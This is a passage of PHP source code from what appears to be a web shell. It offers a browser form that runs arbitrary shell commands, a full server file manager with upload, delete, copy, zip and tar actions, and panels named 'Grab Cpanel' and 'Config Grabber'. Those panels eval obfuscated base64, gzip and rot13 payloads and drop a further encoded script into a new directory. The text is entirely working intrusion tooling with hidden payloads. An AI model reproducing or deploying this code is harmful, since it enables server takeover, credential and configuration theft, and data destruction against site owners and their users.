label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #0d0d0d;background-color:#0d0d0d;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t$hex = "tUrvYto4GP5eqf+DlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY+r/feJtA+NECpzvUCm8/fv368XA/Yj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3+Wf5PJ/wm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi+Xnx2YuwsBwHk+Uy/uwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD/hPYf+g3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG+0SY8g32C06UHwlLumo+PdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN+tpEJgeVgiLc+hcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m/NJA2szFLLQrNR0TUmB2n9/DHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa+ZCGAsb7m/zHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X/f5e4yULFyLwV/jjzdW55sQeBt7kU7K/xd5iJsUZ854Qv65uc/Wo6O5DeNkoRGbewb65vyeH2aX1h4+ivQaok8U1ZR8gG4HEYnVj2B3+GQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef+u2een7F31Gex+4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ/vxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S++y637VfzvFm/+IKQDpvchxymbpLFZ6PayLRM/t+Kpu4q/xCWzbDLM5uEKhSbeYCRvL1J55G/mZKf5/7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2+VW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS+20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6/ymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ+Rwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv+Q/6fmIfvVOeS/rXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K+y3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV/7zV3m/p+eQz2tNy0/rjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63/gE=";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$▟ = $path.$▟;\r\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($▟);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($▟);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($▟);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping ;D</h1><div class=content><br>";\r\n\t$hex = "tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NEaFrMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK+GQXPOkkkKRb4wyQc7g3DUOKisp2H7CR+jn+hGyV2UekE2yjY4v4HCyApkKbVZP27hClMgQu6CJih3bwycvwYByYZ+BzXkXKINcK8f2CxoLyHVSTLAstUPhShkTAVnJHAZkvnQcULshg46VZSatxaTZKMEdk9No4Qc6S7rYmwMgBF5f4V3j0Nr7bf4xu1Zhek5IXGg4KMgmqqXIylVJlVA8dPr+yr1LXWsoXVQBFylKLG1B61HHm6YEyyooc8lX58A2/7AAyTv/l5Jplp61aOAc5Zpu9bZK0k1sxzFekq4rnVKlqKuWayOL5pGpQa6Ngsd17i6RNdGnp5f9+pktWqL5S6+bQZoF+BJXpoqAXCVFlMEIm4TD6A2t8mPk04H5ngx7yh3nJdPir5z/VfTLf3S67e5aYhkqgxKKNM6EpmSkSZpws5KEZb2KsGSTcqpmZUNSQXip4yad6WF5aeMYcphExRjcDkcseJVCZLPAqbD6YNP5B/Gm/QfgXedQEIIDcJm+UNZZgJAvClGpoMUCk6yrGVx/zfZIH86DNZ4J+8R7lKyl247HNF+f4ItgyGb3xNuG36Hv53F17+ckfx6WaTQeKatDvlChnXgjJ13GimgyPspXWK64h2C2O1X8WLTR3pyYwshvEHSOYBwa/H6qx+eShsjG99KR2Phbox4vg43tYblb9Yvjo+nebVDEzrW9NUpmMX9Ghja8z5EomM0B2h52U4WswJ5B9NSGYpqpWUP2hBsobFa5Sz8ZgZxWZ3t/Zmp/MycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ";\r\n\teval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9wSHAgJGhleCA9ICI3Wng2WXRzNEVvQS94MEQrQTByd3dXbVRTMWEzaXg3YU9Oc2tkQ2VidTJaY3Q4bDZSV29OUkNkWFpIeTBVZHZhVllYLyt3MVN5WmFkRjZrN0JPNE91QUJrOWNKc09Cd09kQ2pWa3craEZRNlpZK3UxSUhGcHhNZFE0VGpVYnJWZHN0OXJ2MTNaMnRvS3Ayam1PaTZONkZVNGFPWmE0S3grYldnNlBPbEFvMTN5Y0tOT1RTMXZqRS9MZFh6YnJnaC9RVmJ0a1BsQmRidFVQQktPV3pjdVR5dWdJMU9ZWSs2RVVDenFFdWJaTm1oY0VSaU5VRE42WFlNdXhYM293ajhMNkJ5NnJnNUNRanAwaldLcjR5ODFuMDNUWTBuN0tydXRzV1I4TjZmTWNyVUcrU1lWL2hBL0JLRkdOK2JpZnJpOGRvQ3FZdCsrZWlSOFJEY2lpK3d4YjVLMVU2WlFxWGpJTnRXNXkzMWZNTll5UVhrM3BCWWoxMGtBa294OG9oRkxvak9PWWsvcmdYcEtQb2FPOEYzcWpKTUdFdGljdS9GcHBSc0VkSEJiRUVyY3V5WkxOclJWMDU3YkpMbG14YTBBRExOc1pydlM0V0hJcG5EU3RjWUc2UEZ1R2xOdmRYdnVFTWJzQ3N0eUcrTXltNW1teHU1RmRqVmtTT0g2VUpzek5ncE5tZVhVZHUwck5DRHdvejd6RGNXOUhkRUFERFN3QUxpNklaRkc2Z2p1eit1NXk0UXpSVnBiZ1BIaE1NOXJCNGlWYTlXRHlTZXRwTTJYbjZRSzFkOVNQS0VCZGhIYkViT2hJOEFTdnFqWHpJRnN4NTJCT1JxTjRDZ1o1OEEwd1NWNDhKdGdKQytja20waUYyWVh0S3FsTGMyd3RxdmFKTTY0bW5tam1WeGhHdWJjYU8yQStzd2MyWHZLbDVLWlREY3NORXJxTlkyOUMrb0UwQlZ3V3ZkZU9jakxYQVgxSEM1ZHA0RDlEMWZqaUg4WDJIeWdsbXRnYmdINWhqN1FTd1J1VERqTXJ4ZWJwUXdDYWk4dldHOU02QXB6Qm0vS3ZjZzFJZGE0b1RWd0JSMThaenliVk45MGxTVTZ0UHdDL0NsWnBzczdabmVYN0lMYnRnbGhZbFBVQjdYdTQrZ0YrQzJmd1ZlbGNzbE9IRTNsckg1dkM2dkhIYmU4emtUb0p6NlltU2pnTHA5akpnbzY2bFJFeUNJK1ZqdUNPTEZMTE9TS2V6WUVWQkFNU0FEZUNMK3FiaTc4ZmxWYjF3M1QyRjFpOVQ4VmYwYVZuNDYvTHhqcnpmNmJKdzBGMTR1c0JGcit1MW0wWFZhSVRQODd2VGxxWUJXMnpzOCs3ZjJaN0h6aWxxLzZoSEpXYWE1MEZuR1FIcmdmM0tKRUlCejJLV2VZV0duK2JXaHBlMUJwNU9jWm4xRmp2d09iQXhsajIxNEVBMDJlZmhSM293RGRrWjF3SG91TE1HUG5yVXFwSXFvSDhsZjZMUmg0dTlJV0l3ZkNRdCthaFpZZ0o5YnlWNDlOQWZuVHQybi9MK2Y5enRudzAvVmEvN2g3MjErUTM1cXZTZFltWDQ1N1g1Y3lSUmN5a094M1FmUzhmYjFWbXQ3c3Rscy83cjloZ2xXQjY4aHNmQzVpditBNU00ZENzbHFPL01uNWozY25HK1I4VmJXcWhpd2N6bDBmc3V6U1JHc1VEYXkyK0tjSGprNk9JWmtNckEzSFFuS1YzSlJQNE5uc0tEOENjSEdzT3B3bXhxcFlUTWpXZHUrTjkxdkoyTkw5QUVDZjJKSjVTa241ZkFnNlQwR3ZOMS85M0d0cS8wRnovMGMyM1FLa3FxeDZXV1hYdnh4OFdqWW55U1hRUExGYlNDcWVOZ0FWdU9Qd1pIMjdBakVURXFXNWVYZzIxY0Rtbk0wTjBqb2l4c1hWN1Y3dTJ1NFRNclkzZ1hVTGNJMmpKOUswd2l3elpTRnVNeGNyK1NUdEZzbytuMk1WVXVYV3NvUFl6S3FLc1ZlZ2haeFVxVVlSMGl4TUxMNlJINVZubGdyTDlQNUZFa2UwTE44VjB1NG1KcGdoOGdMQkhxbjB5OFNMSWdHMktxUjFRQ2ovMEFWdk9sVytyOGsyajZSaXh5VzhmcU5pejhuTjd3bnIwVGdXamkrS0Z3KzR0QzRXZlhIWFAwSHk2YVBwL3FNdzI2R0I1N3ZhbFBOdUhlcHZjdE0vbkZKbkF1RnZ5YmcrTFdtQnRjZTVOR04wUW1FbGhGb0lteTRPTW9ub0RGWVFMc2NSNUZnVmpqU0dXU0YxWnFMa0wwRms4cFlZTWVRSXNwWTRETjZwQWhGR0hDRzVoU0xjSFNEbFh5T2RHajhSNEJINHhZM1U0ZEdMSVFWRDc0REtVaGNjZ215VE9JUU5uZjhnM0pYd1lyQy83V2lLdFkrZmE3WDFmU09RMFEySFZjTWIwZ3d5dnVFUU1WOWhXUDhvSXJtRlVDU3hBWWRWQWhRT0FkRUJDV3VOQlB5ZU5GQlBjWVRBRVpKbzlNd2lLN2ZHVS9QWWRBY294SVZSNEpYNER4TnhLN1FaMEhEQURnRTdBdXdBUS9KS0o1MHpISUJQZGNFQTVrdEE1L3owOUtSOTFzY3R5a0g2WDVVNGozTk5LQUdWbVZRSEF6MjFvVFZRKzlmMThYUzBoMkQxNkdqYk9EK1hZcUpEQUI4TE9IWi83TGRrQkNjUURvcEEwWVRleldqL0dEa1ZSQ2dzNUhIZ0VYY2czV20vcTI0dzNCRmN3NERRbURTVzZvaWtPdUlvaW1Sc2ZXYUREVDJYYmhSdVVNOVJBK1B5L0dJNGJHS01Hd05GL3JaNzNQM2N4eUc0eFhRQ2hZanhDTFhxYUN3VHRmQm9MQlpTMHJGeGZIcWsza2kvOSt2Sk9kSlJadUUvUXc4NUpoMlFOSmJndHBoMk1NSHQ2eVk2SUpmZHpxOTkzTnhjWlFaRnVLSGdFWjErNzd5Tml5c2Q0WHNPTGlnd1BLTFR2Y0Urd1BBSSsvQ0NKc2h5Z2w0aTZPV0JBcHlldDN0SzNRN09wMEU5eDU5bWhtWUpXd2VrMit1ZG5DUDMyMTNmcHg1bHQ4dzFNTTQ3eU9lZlpvWjhhL0d3Z0dmN29DUGQ2MVgwLzgrSnVmMGxZWWQ5aTlzZ3h6anhOQU51M3dhdU1NZzN1emEzQkM0T0t3OVM1cU1Vb3VWRUZQL3FjREpzOU4rS2wvUStYUUhGMHZRK2U1SlJnNUNFNUpVdERtU0ZWS3pldFhmaGRiQUpmbUdTbDRRNGhQSkdwQnJxOVpnT0NHbHBzaVdzaFlKSVU5TUN6TklWRGdNcEErbjRLdHJyVEQwNjNHSDVCYk1nY2U3ZUU5OHkrN3V3L0RMZkNQMlhkNmNQK1BqN1owdWlYdjNXdjlLSXBTMU9JYU5pWGgrOFhSRngySmJ1VytiN1ZYWlllalF0b0N0ZG9FajIwVlhUY3lzWnBHZXcxcjBVQVVYaFRvdFhLamZwVU9tWndTeENkbkhwUkN6TFRCcE1iUlNEL0tWeTZhZ3NwbVlWbG1yVzdWZmp2YXl4elJXbzVPdENjV2hYU1lwbFVhb1dqMnhKMDVMVStCU1hBVWhzREQydDZreVNpcU9aeUVnY1NFcFNNaEszM2g1TGlyTWdJbThpSVNhSUZmREp3cCtsZmZieVZ5ZTFna3dsME5UMmNlODUydTVONTNhbFJ1bWF3cXdhTGgyUHFvanJMSXZ3MHVKVXFVYlQySU96dkY3R3NseXlXVWhlU05WMHRaN3NNYTNkS3RtZDdGaFd5RmZremJyMFphRDFxc0F0RFZKL1NvS0RBOHZhdWVRYTlQRkZWbCt1YzJLOW1tS3RnQzlLaVZSbEpXM1pwYXh0UXRiM25jSlhpQ2VSMktqWU01THlyNEthdVVYbWJiYXk3amszK2k1cmR6SlFBYmNXOGpQNUlFTDhMSWdxc3QvYWdxUGk1WndYV3Y2SWdtVG95MFB2SEIxbE1tckV0RFhZWElvRDQraGpDcVlpUG8ybzA0ckNTeHg5cEpZNE5PWFZvMUNUdzJJS1JISjlDOVZDNFRwclRaSHR5cm9xdWFKSHFWZ2IvcFY5VDdQSnB0WjJSblhWeTMvRmtqM1NNYkZjcWtDcDZFT29iNjY2dUlTV2R1dHZVcmZBbWxKL2xhS2tobGJiTlFWV0ovbFlHUy9vcVhIS3FTay9zOStGRFBhUGRCaGxSMWx2NGM1MkFIM1l3QjRZaFB1U0NlZlMwWmJxWW5vZFQzT05JTHdjSlpySkVtNzU3UklDV0ZOVjRhUkJFOFQ5Q0k1Tk5XeXZVeHc2Z3VQWCt6WHByR05